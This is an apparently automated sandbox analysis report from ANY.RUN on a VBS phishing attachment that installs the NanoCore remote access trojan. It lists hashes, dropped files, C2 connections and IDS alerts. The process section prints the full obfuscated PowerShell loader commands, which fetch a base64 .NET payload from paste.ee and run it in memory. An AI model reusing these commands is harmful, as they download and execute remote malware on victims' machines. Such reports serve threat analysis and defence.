analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

PO-498475-ORDER.vbs

Full analysis: https://app.any.run/tasks/7e9cd6c5-032c-4c59-800c-6f02bf5f9a59
Verdict: Malicious activity
Threats:

NanoCore is a Remote Access Trojan or RAT. This malware is highly customizable with plugins which allow attackers to tailor its functionality to their needs. Nanocore is created with the .NET framework and it’s available for purchase for just $25 from its “official” website.

Malware Trends Tracker     >>>
Analysis date: November 30, 2020, 01:02:06
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
nanocore
trojan
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with CRLF line terminators
MD5:

2BE0C13D5314EDAEF436B9A570E4C883

SHA1:

75B2AEB08A8582D671E1D8F5B7A214BE83667694

SHA256:

936B4F3700A18C11E50D94E1E22D0681E7C42EAF25DFF2B45D3E434B829B030E

SSDEEP:

96:eKKzp3pyDU16oDo1xYvXKUUMaaRZ1IKGJQ/P+I3+:ep3pMdUoKEKpP+I3+

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes the autorun value in the registry

      • RegAsm.exe (PID: 3052)

    • NANOCORE was detected

      • RegAsm.exe (PID: 3052)

    • Application was dropped or rewritten from another process

      • RegAsm.exe (PID: 3052)

    • Connects to CnC server

      • RegAsm.exe (PID: 3052)

  • SUSPICIOUS

    • Executes PowerShell scripts

      • powershell.exe (PID: 2296)
      • WScript.exe (PID: 2796)

    • Application launched itself

      • powershell.exe (PID: 2296)

    • Creates files in the user directory

      • powershell.exe (PID: 3216)
      • powershell.exe (PID: 2296)
      • RegAsm.exe (PID: 3052)

    • Drops a file that was compiled in debug mode

      • RegAsm.exe (PID: 3052)

    • Executable content was dropped or overwritten

      • RegAsm.exe (PID: 3052)

  • INFO

    • Reads settings of System Certificates

      • powershell.exe (PID: 3216)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
4
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs powershell.exe no specs powershell.exe #NANOCORE regasm.exe

Process information

PID
CMD
Path
Indicators
Parent process
2796"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\PO-498475-ORDER.vbs"C:\Windows\System32\WScript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
2296"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypass -NoProfile -Command "$Codigo = 'JGRsbCA9ICcwL0FrTkQ0L3IvZWUuZXRzYXAvLzpzcHR0aCc7JFJ1bXBlRCA9IChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCAkZGxsWy0xLi4tJGRsbC5MZW5ndGhdIC1qb2luICcnICk7W0J5dGVbXV0gJFJ1bXBlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyggJFJ1bXBlRFstMS4uLSRSdW1wZUQuTGVuZ3RoXSAtam9pbiAnJyApO1tSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkUnVtcGUpLkdldFR5cGUoJ2VudC5DbGFzczEnKS5HZXRNZXRob2QoJ1J1bicpLkludm9rZSgkbnVsbCwgW29iamVjdFtdXSAoJzAvZ3lyUFQvci9lZS5ldHNhcC8vOnNwdHRoJykp';$OWjuxD = [System.Text.Encoding]::ASCII.GetString( [System.Convert]::FromBase64String($Codigo) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -NoProfile -Command $OWjuxD"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3216"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypass -NoProfile -Command "$dll = '0/AkND4/r/ee.etsap//:sptth';$RumpeD = (New-Object Net.WebClient).DownloadString( $dll[-1..-$dll.Length] -join '' );[Byte[]] $Rumpe = [System.Convert]::FromBase64String( $RumpeD[-1..-$RumpeD.Length] -join '' );[Reflection.Assembly]::Load($Rumpe).GetType('ent.Class1').GetMethod('Run').Invoke($null, [object[]] ('0/gyrPT/r/ee.etsap//:sptth'))"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3052"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Assembly Registration Utility
Version:
4.7.3062.0 built by: NET472REL1
Total events
653
Read events
516
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
6
Text files
1
Unknown types
1

Dropped files

PID
Process
Filename
Type
2296powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KAUOQ3VW9R6GYV8XTW4B.temp —
MD5:—
SHA256:—
3216powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DZZAK6N9WA8NZ5087JPL.temp —
MD5:—
SHA256:—
3052RegAsm.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\run.dattext
MD5:73554A88781BA2A7EF7243764DCD12CF
SHA256:D815CFF575A42044A989800533F924D33544AB94E25E96C66DBF181037F48899
2296powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF18d26e.TMPbinary
MD5:65C9A0DB045854A19E66021605E654DF
SHA256:E4CE4C1D055DB9453DD28D135573901FB2051DF3BEC3B78A30ABB1C38FBDA1FE
3216powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF18d452.TMPbinary
MD5:65C9A0DB045854A19E66021605E654DF
SHA256:E4CE4C1D055DB9453DD28D135573901FB2051DF3BEC3B78A30ABB1C38FBDA1FE
2296powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:65C9A0DB045854A19E66021605E654DF
SHA256:E4CE4C1D055DB9453DD28D135573901FB2051DF3BEC3B78A30ABB1C38FBDA1FE
3052RegAsm.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\TCP Monitor\tcpmon.exeexecutable
MD5:B58B926C3574D28D5B7FDD2CA3EC30D5
SHA256:6E70B56D748C4CCAB13CC8A055D3795EA0DD95FE3B70568D7D3AC0C6621140A3
3216powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:65C9A0DB045854A19E66021605E654DF
SHA256:E4CE4C1D055DB9453DD28D135573901FB2051DF3BEC3B78A30ABB1C38FBDA1FE
3052RegAsm.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\settings.binbinary
MD5:4E5E92E2369688041CC82EF9650EDED2
SHA256:F8098A6290118F2944B9E7C842BD014377D45844379F863B00D54515A8A64B48
3052RegAsm.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\storage.datbinary
MD5:7E8F4A764B981D5B82D1CC49D341E9C6
SHA256:0BD3AAC12623520C4E2031C8B96B4A154702F36F97F643158E91E987D317B480
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
3
DNS requests
3
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3216
powershell.exe
172.67.219.133:443
paste.ee
—
US
malicious
3052
RegAsm.exe
79.134.225.11:5000
emisintl.com
Andreas Fink trading as Fink Telecom Services
CH
malicious
3052
RegAsm.exe
8.8.8.8:53
—
Google Inc.
US
whitelisted

DNS requests

Domain
IP
Reputation
paste.ee
  • 172.67.219.133
  • 104.18.49.20
  • 104.18.48.20
shared
emisintl.com
  • 79.134.225.11
malicious

Threats

PID
Process
Class
Message
3052
RegAsm.exe
A Network Trojan was detected
ET TROJAN Possible NanoCore C2 60B
3052
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3052
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3052
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3052
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3052
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3052
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3052
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3052
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3052
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
107 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
PO-498475-ORDER.vbs